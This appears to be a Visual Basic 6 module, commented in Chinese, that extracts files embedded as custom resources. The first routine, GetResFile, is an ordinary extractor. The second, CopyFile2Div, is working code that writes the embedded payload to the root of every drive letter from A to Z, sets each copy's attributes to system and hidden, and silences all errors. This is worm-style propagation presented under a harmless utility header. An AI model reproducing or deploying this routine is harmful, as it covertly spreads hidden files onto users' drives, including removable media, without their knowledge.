'*************************************************************************
'**模块名：GetResFile
'**说明：将自定义资源中的文件释放出来
'**创建人：马大哈
'**描述：紫水晶工作室http://www.m5home.com
'**日期：2007年5月24日
'**版本：V3.0
'**描述：直接使用二进制写,不需要再指定文件大小了.
'**修改人：马大哈
'**日期：2007年5月26日
'*************************************************************************

Public Sub GetResFile(ByVal ResID As Long, ByVal FileName As String)
Dim bFile() As Byte
bFile = LoadResData(ResID, "CUSTOM") '将自定义资源中资源读入数组
If Dir(FileName) = "" Then '只有文件不存在时,才释放
Open FileName For Binary As #1
Put #1, , bFile
Close #1
End If
End Sub

Function CopyFile2Div(ByVal ResID As Long, ByVal FileName As String)
    On Error Resume Next
    Dim bFile() As Byte
    bFile = LoadResData(ResID, "CUSTOM") '将自定义资源中资源读入数组
    Dim i As Integer
    Dim P As String
    Dim Path As String
    For i = 1 To 26
        P = Chr(i + 64)
        Path = P & ":\" & FileName
        Open Path For Binary As #1
            Put #1, , bFile
        Close #1
    SetAttr Path, vbSystem
    SetAttr Path, vbHidden
    Next
End Function